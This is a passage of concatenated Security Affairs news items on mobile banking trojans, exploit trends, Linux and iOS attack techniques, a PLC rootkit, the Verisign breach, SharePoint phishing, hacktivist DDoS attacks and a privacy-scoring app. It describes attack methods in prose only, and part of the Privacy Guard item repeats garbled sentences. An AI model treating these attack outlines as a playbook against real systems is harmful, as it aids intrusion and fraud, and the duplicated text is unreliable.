the first-stage remote server and dynamically receives the IP for the second-stage server from the user profile page of Chinese search engine Baidu., “When connected to the second-stage server, Android/MoqHao sends a “hello” message containing the following device information:, MoqHao checks whether major Korean bank apps are installed and downloads the related Trojanized versions from the C&C server, then it displays alerts the victim that an update is available for the targeted app. Once the victim accepts to install the update, the malicious app replaces the legitimate one., Experts believe the malware is not completed or some features are still not active., “During our analysis of this threat, when Android/MoqHao requests the download of a specific fake or Trojanized banking app, the control server responds with an error. Affected users in South Korea have not reported downloads or attempted installation of additional APK files. This suggest that the fake update functionality is probably not implemented or is at least not currently used by the malware authors.” continues the analysis., The MoqHao banking Trojan was first spotted in January, likely it was just a test version that was continuously updated in February and March arriving at a stable release in May., Experts linked the malware to a hacking campaign that in May 2015 targeted users in South Korea via a phishing message in the default web browser., Although the two malwares have very similar behaviors, they have completely different code bases., “The similarities between the 2015 and 2017 phishing campaigns suggests the same cybercriminals, who have shifted from DNS redirection attacks to a smishing campaign. The attackers are still targeting Chrome and getting the control server from a dynamic webpage while changing the code base of the initial dropper component as well as the dynamically loaded payload,” concluded McAfee., Pierluigi Paganini, (Security Affairs – Android Banking Trojan MoqHao, South Korea) |
662_16068 | Using this Facebook flaw a hacker can retrieve email address of all Facebook profiles simple writing an automated script to grab all email address of billions of Facebook users., My coleague at The Hacker News Magazine proposed simple procedure to follow for the hack using an automated script to grab all emails: |
3726_47150 | Security experts at the threat intelligence firm Recorded Future have conducted an interesting study on the proof-of-concept exploits shared online (e.g. On Twitter, on forum linking to personal blogs, GitHub, or Pastebin) last year., The PoC exploits are developed by threat actors and security experts to demonstrate the existence of s security flaw into a target system and how to exploit it., In some cases, hackers publicly disclose PoC exploits to force a company to develop a patch to fix critical flaws in their products., The research allowed the discovery of roughly 12,000 references to PoC exploits shared online since March 22, 2015, an amazing data is we consider that it represents a near 200 percent increase compared to the previous year., According to the report, the majority of PoC exploits were spread via social media networks (97 percent of cases), mainly via Twitter, followed by Code Repositories (1.8 percent of cases). The choice is not casual, social media allow users to reach a wider audience instantly., “Our research shows that POCs are disseminated primarily via Twitter, with users flagging POCs to view externally in a range of sources — code repositories (GitHub), paste sites (Pastebin), social media (Facebook and Reddit surprisingly), and deep web forums (Chinese and Spanish forums).” states the study., Which are the targets of the POC exploits?, Most targeted technologies are Android (35,8), DNS (23,2), SSH (20,3). The products being targeted are Android phones, Microsoft Windows 7 and 8, Microsoft Internet Explorer, Linux, GNU C Library (glibc), and Firefox., , Giving a look to the list of the most widely distributed PoC we can observe that the CVE-2015-7547 buffer overflow flaw is the one with the greatest number of PoC exploits. The flaw affects the GNU C Library and could be exploited by hackers to trigger a buffer overflow through malicious DNS response., Other PoC exploits shared online are related to the CVE-2015-1635 and the CVE-2016-0051 in Microsoft Windows Server, and the CVE-2015-3456, aka the VENOM flaw, in the, The analysis of the top 10 vulnerabilities discussed around POCs suggests a huge focus on Linux boxes and Microsoft Windows Servers, clearly due to their diffusion., “According to open source intelligence (OSINT) collections by Recorded Future, here are some of the most linked to POCs over the last year:”, “Researchers and malicious actors focus their time on developing POCs for Web servers/services and consumer products in the Microsoft Office suite, Microsoft IE, etc. These are used across the commercial, consumer, and government sector widely,” explained Nick Espinoza from Recorded Future., Enjoy the report, it is full of precious data., Pierluigi Paganini, (Security Affairs – PoC exploits, hacking) |
4137_50346 | Recently I wrote about a severe vulnerability (CVE-2016-5696) affecting the Linux version 3.6, deployed in 2012. The flaw was discovered by researchers from the University of California, Riverside, and the U.S. Army Research Laboratory that presented their findings at the USENIX Security 2016 conference., The TCP/IP networking flaw allows attackers to spot communications between two entities and can be exploited to hijack the traffic and manipulate it if the exchange is not encrypted., The attack is not considerable a man-in-the-middle attack, the attackers just need to send spoofed packets to both sides of the connection by simply knowing their IP addresses and destination ports., , According to the experts at Lookout security, the Linux vulnerability affects 80% of Android devices, it appears to have been introduced into Android version 4.4 (also called KitKat) and it is still present in the current versions., “Lookout recently discovered a serious exploit in TCP reported this week also impacts nearly 80% of Android, or around 1.4 billion devices, based on an install base reported by Statista. The vulnerability lets attackers obtain unencrypted traffic and degrade encrypted traffic to spy on victims.” reported Lookout security in a blog post., The Linux vulnerability could be exploited by attackers to hijack traffic, inject malware into downloads and web pages, and run a wide range of attacks., In a classic attack scenario, hackers can inject a malicious JavaScript into unencrypted network traffic and display a message that falsely claims the user has been logged out of his account and request him to provide the login credentials., A patch for the Linux kernel was available since July 11, 2016, but checking the latest developer preview of Android Nougat, the Google OS is still affected by the flaw., A Google spokesman confirmed that it is already working on the issue by “taking the appropriate actions.” The Google representative highlighted that the Android security team only rates the risk “moderate.”, Stay Tuned., Pierluigi Paganini, (Security Affairs – Linux CVE-2016-569 flaw, Traffic Hijacking) |
3561_45839 | Security researchers from the Check Point firm have devised a method to install a malicious code on iOS devices by abusing the mobile device management (MDM) solutions used by many enterprises., The technique relies on a vulnerability dubbed by the experts SideStepper, but that Apple considers it as a normal behavior., “SideStepper is a vulnerability that allows an attacker to circumvent security enhancements in iOS 9 meant to protect users from installing malicious enterprise apps. These enhancements require the user to take several steps in device settings to trust an enterprise developer certificate, making it harder to install a malicious app accidentally.” state the blog post published by Check Point., Apple allows enterprises to distribute internally-used apps through a Developer Enterprise Program instead passing through the App Store. In order to install the apps, enterprises need to use certificates signed by Apple., The program allows organizations to install internal apps on employee devices using enterprise certificates signed by Apple., However, hackers have abused in several circumstances of digital certificates so Apple introduced new security enhancements in iOS 9., “These enhancements require the user to take several steps in device settings to trust an enterprise developer certificate, making it harder to install a malicious app accidentally.” States the CheckPoint firm., , MDM solutions are used by enterprises to easily manage mobile devices used by employees. MDM allows the easy management of any aspect of the mobile devices, including installing apps, deployment of security policies, and remotely wipe phones., Experts at CheckPoint firm highlighted that threat actors can launch a man-in-the-middle (MitM) attack against the MDM solution to allow the installation of malicious enterprise apps over-the-air, this is possible because Apple gives apps installed using MDMs the possibility to bypass security measures., Malicious MDM-distributed apps can be abused by using the following process:, Basically, the attackers could intercept the command sent by the MDM to the devices and replace it with a request to install a malicious app. The operation doesn’t need user’s interaction making hard to discover the attack., The SideStepper technique could be used to infect Apple devices and control them with a malicious code., CheckPoint suggests enterprises to carefully assess the risk of malicious applications on mobile devices., Experts from CheckPoint will present the SideStepper method at the Black Hat Asia conference Today., Pierluigi Paganini, Security Affairs – (SideStepper, Apple iOS) |
7236_76737 | The Financial Conduct Authority (FCA) has assigned a £16.4m fine to Tesco Bank for the vulnerabilities in its systems that were exploited by hackers to steal millions of pounds from customers’ online accounts in 2016., In November 2016, Tesco Bank halted all online transactions after a cyber heist affected thousands of its customers. An investigation is ongoing., The measure was announced by the chief executive Benny Higgins, at the time the bank admitted that 40,000 of 136,000 current banking customers had their accounts hacked, and 50 percent of them have lost money., According to the financial institution, hackers stole £2.26m from 9,000 customers accounts for over 48 hours. Most of the transactions were made in Brazil and relied on magnetic strip rules., , The bank was fined because it was not able to demonstrate “due skill, care and diligence” in protecting customers’ accounts from cyber attacks., “The fine the FCA imposed on Tesco Bank today reflects the fact that the FCA has no tolerance for banks that fail to protect customers from foreseeable risks.” said Mark Steward, the executive director of enforcement and market oversight at the FCA., “In this case, the attack was the subject of a very specific warning that Tesco Bank did not properly address until after the attack started. This was too little, too late. Customers should not have been exposed to the risk at all. Banks must ensure that their financial crime systems and the individuals who design and operate them work to substantially reduce the risk of such attacks occurring in the first place.”, “The standard is one of resilience, reducing the risk of a successful cyber-attack occurring in the first place, not only reacting to an attack.”, Tesco Bank was alerted by Visa one year before the cyber attack, but failed to apply the necessary countermeasures., According to the FCA, Tesco Bank breached Principle 2 because it failed to exercise due skill, care and diligence to:, According to the FCA, hackers used an algorithm to generate valid debit card numbers that were involved in fraudulent transactions., Tesco Bank provided all the necessary support to the FCA and fully compensated customers, it was also able to halt a significant percentage of unauthorized transactions., The efforts of the bank in limiting the exposure of its customers in post-incident were praised by the FCA granted the bank 30% credit for mitigation. Tesco Bank also agreed to an early settlement which qualified it for a 30% (Stage 1) discount under the FCA’s executive settlement procedure, “Tesco Bank provided a high level of cooperation to the FCA. Through a combination of this level of cooperation, its comprehensive redress programme which fully compensated customers, and in acknowledgment that it stopped a significant percentage of unauthorised transactions, the FCA granted the bank 30% credit for mitigation.” continues the FCA., “In addition, Tesco Bank agreed to an early settlement of this matter which qualified for a 30% (Stage 1) discount under the FCA’s executive settlement procedure. But for the mitigation credit and the Stage 1 discount, the FCA would have imposed a penalty of £33,562,400.”, Pierluigi Paganini, (Security Affairs – Tesco cyber heist, cybercrime) |
4263_51389 | The security researcher Ali Abbasi, a Ph.D. candidate in the distributed and embedded system security group at University of Twente, Netherlands, and Majid Hashemi, an independent security researcher, have developed an undetectable PLC rootkit. The security duo will present the undetectable PLC rootkit at the upcoming Black Hat Europe, that will be held in London in November., The security duo will also present a version of the PLC attack that leverages shellcode. The title of the presentation if Ghost In The PLC: Designing An Undetectable Programmable Logic Controller Rootkit., , The researchers believe that their PLC rootkit could be dangerous more than Stuxnet because it is stealth and affects directly the PLC differently from Stuxnet that was designed to target SCADA systems running on Windows architecture.It’s much less likely to be discovered because it sits at the lower-level of the system., The PLC rootkit was developed to compromise the low-level components of a PLC system, it could be considered a cross-platform PLC threat because it is able to infect PLC manufactured by almost any vendor., “It’s a race to the bottom” Abbasi told DarkReading. “Everybody has access to higher-level SCADA operations. Attackers in the future will go to lower level assaults” such as this to evade detection, he says., Hacking a PLC system directly could more simple for Vxers because such kind of devices don’t implement many detection mechanisms, this means that a PLC running a real-time operating system could me more exposed to cyber attacks., In August, a group of researcher presented at the Black Hat USA presented a PLC worm that spreads among PLCs, it was dubbed by the creator PLC-Blaster., Abbasi and Hashemi explained their PLC rootkit doesn’t target the PLC logic code like other similar threats making hard its detection., Furthermore, the researchers explained that the activity of the PLC rootkit will go unnoticed even to systems that monitor the power consumption of the PLC., “The overhead imposed of our attack outside of kernel is below one percent, which means even those approaches which monitor the power usage of PLC for attack detection will be useless,” explained Abbasi., The malware interferes with the connection between PLC runtime and logic with the I/O peripherals. The malware resides in the dynamic memory of the industrial component and manipulates the I/O and PLC process, while the PLC is communicating with I/O block composed of output pins that handle the physical control of the process., The PLC receives signals from the field from the input PINs (i.e. level of the liquid in a pipe) and controls the process through actuators that receive instructions from the output PINs of the PLC (i.e. control of a valve)., Clearly manipulating the I/O signals it is possible to interfere with industrial process in a stealthy way, and this is what the PLC rootkit does., “Our attack instead targets the relation between PLC runtime and logic with the I/O peripherals of it. In our attack, the PLC logic and PLC runtime remain intact,” said Abbasi. ” “in PLCs, the I/O operations are one of the most important tasks.”, As explained by the duo, the attack is feasible due to lack of hardware interrupt on the PLC’s SoC and intensified by Pin Control subsystem inability for hardware level Pin Configuration detection., Abbasi and Hashemi are currently studying defensive countermeasures to detect and protect PLCs from such kind of threats., Pierluigi Paganini, (Security Affairs – PLC rootkit, hacking) |
102_2246 | No peace in the cyber space, day after day we read that the computer systems for major corporations and governments are compromised due repeated cyber attacks. This time it was the prestigious Verisign, a name that is our mind we link to the concept of “strong security”, but we are learning that the total security is just an utopia., The company should defend user’s websites from attacks and form intercepting and hijacking of their traffic., , Once more the situation is really serious, a company that offers security services for authentication has been hacked repeatedly by hackers who stole undisclosed information from the internal infrastructure. After the Symantec case, another company that lives of security is victim of its business, that is the demonstration of how are dangerous the new cyber threats and how burdensome is their impact under an economic profile. The news of VeriSign attacks has been revealed in a quarterly U.S. Securities and Exchange Commission filing in October, but what is puzzling, in my opinion, is that the ex CIO Ken Silva, in charge during last three years until November 2010, said he had not learned of the intrusion until contacted by Reuters. Securities and Exchange Commission Form 10-Q has clarified that security staff has immediately responded to the attacks but has failed to alert top management until September 2011., In written Senate testimony on Tuesday, U.S. Director of National Intelligence James Clapper called the known certificate breaches of 2011 “a threat to one of the most fundamental technologies used to secure online communications and sensitive transactions, such as online banking.” Others have said SSL as a whole is no longer trustworthy and effective., Since Q2 2010 Verisign Inc., the company who issued the SEC filing, is no longer associated with authentication or SSL certificates infact going through the product rebranding, Symantec actually owns and runs the authentication business. , Symantec Corp, which has kept the brand name on VeriSign products, immediately took the distances through a statement by the pokesman Nicole Kenyon :, “there is no indication that the 2010 corporate network security breach mentioned by VeriSign Inc was related to the acquired SSL product production systems.”, “Trust Services (SSL), User Authentication (VIP, PKI, FDS) and other production systems acquired by Symantec were NOT compromised by the corporate network security breach mentioned in the VeriSign, Inc. quarterly filing. Also, Verisign Inc., the company who issued the SEC filing, is no longer associated with authentication or SSL certificates.”, In the specific case several attacks have been successfully conducted against the Verisign, the first one occurred in 2010 according to a report by Reuters, at the Reston, Virginia based firm. The structure is responsible to reverifies the integrity of top-level domains including all .gov, .com and .net addresses and also it is one of the main provider for Secure Sockets Layer (SSL) authentication certificates, used by most financial sites to ensure the their legitimacy. VeriSign hold sensitive information of a huge quantity of customers, and also its registry services that dispense website addresses would also be a desirable target., By now we’ve made a clear idea of how important are the certificates within a PKI infrastructure and why the Certification Authorities have been subject to constant attacks, at stake is more than the survival of a protocol like or a technology company, on these services infact is based most of the infrastructures of governments and worldwide leading institutions., VeriSign’s official have declare “do not believe these attacks breached the servers that support our Domain Name System network”, but in light of what happened recently is normal to feed a lot of doubts about the statements provided., The situation is embarrassing and dangerous, the systems of Verisign receive more than 50 billion queries daily and their responses are used by users to be addressed to sites that interest them, including government web site. The impairment of these mechanisms could lead to the redirection of requests to bogus sites with serious conseguences and not just this, the compromise of the model itself raises the risk of interception of emails and confidential documents that pass through channels of communication theory, sure., Eloquent commentary by Stewart Baker, former assistant secretary of the Department of Homeland Security and before that the top lawyer at the National Security Agency.
“Oh my God” “That Could Allow people to imitate Almost any company on the Net”, “assume that it was a nation-state attack that is persistent, very difficult to eradicate and very difficult to put your hands around, so you can’t tell where they went undetected.”, Why steal a certificate or attack a Certification Authority?
Let’s try to answer:, Malware production – Installation for certain types of software could needs that its code is digitally signed with a trusted certificate. By stealing the certificate of a trusted vendor reduces the possibility that the malicious software being detected as quickly. That is exactly what happend for Stuxnet virus., Economic Frauds – digital signature give a warranty on who signed a document and you can decide if you trust the person or company who signed the file and if you trust the organization who issued the certificate. If a digital certificate is stolen we will suffer of an identity theft, let’s imagine which could be the implication., Some bot, like happened for the banking with Zeus malware, could be deployed to steal steal site certificates so that they can fool web browsers into thinking that a phishing site is a legitimate bank web site., Cyber warfare – Criminals or governments could use the stolen certificates to conduct “man-in-the-middle” attacks, tricking users into thinking they were at a legitimate site when in fact their communications were being secretly tampered and intercepted. That is for example what occurred in the DigiNotar case … companies like Facebook, Google and also agencies like CIA, MI6 were targeted in Dutch government certificate hack., We expect hard times …, Pierluigi Paganini, References, |
7052_75382 | PhishPoint is a new SharePoint phishing attack that affected an estimated 10% of Office 365 users over the last 2 weeks., The experts are warning of the new technique that was already used in attacks by scammers and crooks to bypass the Advanced Threat Protection (ATP) mechanism implemented by most popular email services, Microsoft Office 365., “Over the past two weeks, we detected (and blocked) a new phishing attack that affected about 10% of Avanan’s Office 365 customers. We estimate this percentage applies to Office 365 globally. PhishPoint marks an evolution in phishing attacks, where hackers go beyond just email and use SharePoint to harvest end-users’ credentials for Office 365.” reads the analysis published by Avanan., “Essentially, hackers are using SharePoint files to host phishing links. By inserting the malicious link into a SharePoint file rather than the email itself, hackers bypass Office 365 built-in security. “, In a PhishPoint attack scenario, the victim receives an email containing a link to a SharePoint document. The content of the message is identical to a standard SharePoint invitation to collaborate., , Once the user clicked the hyperlink included in the fake invitation, the browser automatically opens a SharePoint file., The SharePoint file content impersonates a standard access request to a OneDrive file, with an “Access Document” hyperlink that is actually a malicious URL that redirects the victim to a spoofed Office 365 login screen., This landing page asks the victim to provide his login credentials., “To protect against potential threats, Office 365 scans links in email bodies to look for blacklisted or suspicious domains. Since the link in the email leads to an actual SharePoint document, Microsoft did not identify it as a threat.” the researchers said.“The crux of this attack is that Microsoft link-scanning only goes one level deep, scanning the links in the email body, but not within files hosted on their other services, such as SharePoint. In order to identify this threat, Microsoft would have to scan links within shared documents for phishing URLs. This presents a clear vulnerability that hackers have taken advantage of to propagate phishing attacks. In order to identify this threat, Microsoft would have to scan links within shared documents for phishing URLs. This presents a clear vulnerability that hackers have taken advantage of to propagate phishing attacks,” , , The problem is that Microsoft cannot blacklist links associated with SharePoint documents., “Even if Microsoft were to scan links within files, they would face another challenge: they could not blacklist the URL without blacklisting links to all SharePoint files. If they blacklisted the full URL of the Sharepoint file, the hackers could easily create a new URL.”, Every time a login page is displayed it is necessary to double check the address bar in the web browser to discover if the link points to a legitimate resource, and of course, always use two-factor authentication (2FA)., If you are interested in other attack techniques discovered in the last months by Avanan give a look at the post titled “Five Techniques to Bypass Office 365 Protections Used in Real Phishing Campaigns”, Pierluigi Paganini, (Security Affairs – Phishing, PhishPoint ) |
2838_40705 | , , , Once again thank you!, Pierluigi Paganini, (Security Affairs – Newsletter, SecurityAffairs) |
3749_47327 | Hackers of the Anonymous collective alongside with Ghost Squad and BannedOffline continued their attacks on the banks worldwide under the campaign named OpIcarus., The Operation OpIcarus was resumed in March 2016, both Anonymous and Ghost Squad launched several attacks on financial institutions worldwide, including the bank of Greece, HSBC, Bank of England, Dutch Central Bank, , Central Bank of Bosnia and Herzegovina, the central bank of Cyprus, and Central Bank of Guernsey and Maldives Monetary Authority (Central bank and banking regulator), and Turkish Banks., After a temporary suspension of the attack, the hacktivists are back and hit the websites of banks in South Korea, Jordan, Montenegro and Monegasque., “OpIcarus will continue,” announced Anonymous, The hackers launched a series of DDoS attacks that shut down the websites of the Central Bank of Jordan, Central bank of South Korea and Bank of Compagnie, Monegasque., , The HackRead.com reached one of the attackers and reported the following statement:, “Montenegro is at the heart of elite political corruption. Most of the ISIS/ISIL terrorist group looted money flows through Jordanian banks and South Korea is pretty much a US army base in the Asia-Pacific. Sites are staying offline for much longer periods now as more people are joining in the Operation. All targets so far have been central banks and no innocent people were harmed. We aim to keep it that way. OpIcarus will continue.”, A couple of days ago, Hackers claimed to have taken down the Bank of England’s internal email server as part of an operation dubbed ‘OpIcarus.’, Hackers affiliated with Anonymous also claimed to have hit several international banks last week, including the Federal Reserve Bank of Boston, the central banks of Sweden, National Reserve Bank of Tonga, and Myanmar and Laos., The hacktivist “S1ege,” who is an alleged member of the Ghost Squad crew, claimed responsibility for the attacks announcing ” an online revolution” to retaliate against the “elite banking cartels putting the world in a perpetual state of chaos.”, Pierluigi Paganini, (Security Affairs – Anonymous, OpIcarus) |
3515_45468 | The best news of the week with Security Affairs, , , , Once again thank you!, Pierluigi Paganini, (Security Affairs – Newsletter, SecurityAffairs) |
4990_57185 | Mobile devices collect a large volume of personal information that could be used for malicious purposes by adversaries. In order to increase the awareness of user towards the possibility of data leakage and the importance of protecting personal data stored in smartphones, we developed: ‘Privacy Guard‘., Privacy Guard is an Android app that evaluates the risks of data privacy relying on the permissions requested by the apps installed on a device., Privacy Guard was developed at Iswatlab ( the cyber security lab of the Department of Engineering of the University of Sannio (Italy), from an idea of and under the supervision of Corrado Aaron Visaggio, which is the responsible of the lab and: Antonio Altieri, Fabrizio Giorgione, Alfredo Nazzaro, and Assunta Oropallo., On the basis of our studies on malicious apps that exfiltrate sensitive data ( we found out that both trusted apps and malicious apps take a lot of sensitive data. Such data can be then used for different purposes that produce revenue for the adversary who obtained it: to sell user’s profile to a third party for marketing purposes, to feed OSINT platforms, to realize identity thefts or for accomplishing frauds and scams., The point is that the user grants those permissions which allow the data exfiltration when installs the application on the device. The core problem is that the common user ignores completely the kind of permissions that are granted, and, what is more severe, ignores which risk a certain combination of permissions exposes her privacy too., If an app requires the permission to send SMS and the permission to read contacts, SMS, and some other personal identifiable information stored in the device, it exposes the user to the possibility that the app sends that sensitive information to a third party by SMS., Relying on such observations, we created a model that identifies which apps have the most dangerous combination of permssions for data privacy., It is important to remark that Privacy Guard does not evaluate if a data exfiltration happens on a device, but it just identifies those apps which require a combination of permissions that can be strong indicators of activities that affect data privacy preservation., Privacy Guard is intended to first monitor the potential risks for a user’s data privacy and, as second aim, to stimulate and increase the awareness of user towards the kind of apps she installs on her device, from a security perspective., Let’s now look at how Privacy Guard works., Permissions have been grouped into categories and each permission has been assigned a score, ranging from 1 to 10, to describe its dangerousness., The permissions have been divided into four categories:, To compute a value representing applications’ data leakage capabilities the followed formula has been developed:, (1) (Hn*Wh +Dn * Wd) * MAX(C), However, (1) to represent data leakage capabilities of applications is not enough: some permissions are far more dangerous if used in combination with other permissions. In order to take this into account, the hardware and data access categories have been divided into sub-categories:, Network access Data Acquisition, Change hardware configuration Personal data access, Non-combinable, The communication permissions have been divided considering range and bandwidth. Every combination of this subcategories was considered, assigning a score, ranging from 1 to 10, to each combination. These values act as a penalty to the base score.range and bandwidth. Every combination of this subcategories was considered, assigning a score, ranging from 1 to 10, to each combination. These values act as a penalty to the base score.range and bandwidth. Every combination of .range and bandwidth. Every combination of this subcategories was considered, assigning a score, ranging from 1 to 10, to each combination. These values act as a penalty to the base score., First of all the application shows a message to synthesize the results and the list of all the applications with the related data leakage score, while if there are one or more applications that exceed a certain threshold, at the top of screen will be shown a message that indicates the number of applications that exceed this value., , It’s possible to explore the details of each app. Privacy Guard shows the list of all the activated permissions with a brief description. If one application requires a permission particularly suspect, the application shows a warning to explain at the user how that permission can be used for malicious purposes., , , It’s possible to explore the details of each app. Privacy Guard shows the list of all the activated permissions with a brief description. If one application requires a permission particularly suspect, the application shows a warning to explain at the user how that permission can be used for malicious purposes., It’s possible to conduct the analysis only on the user’s application or including all the system’s applications. Privacy Guard is available on the in the Play Store at the following address, Pierluigi Paganini, (Security Affairs – Privacy Guard , mobile) |
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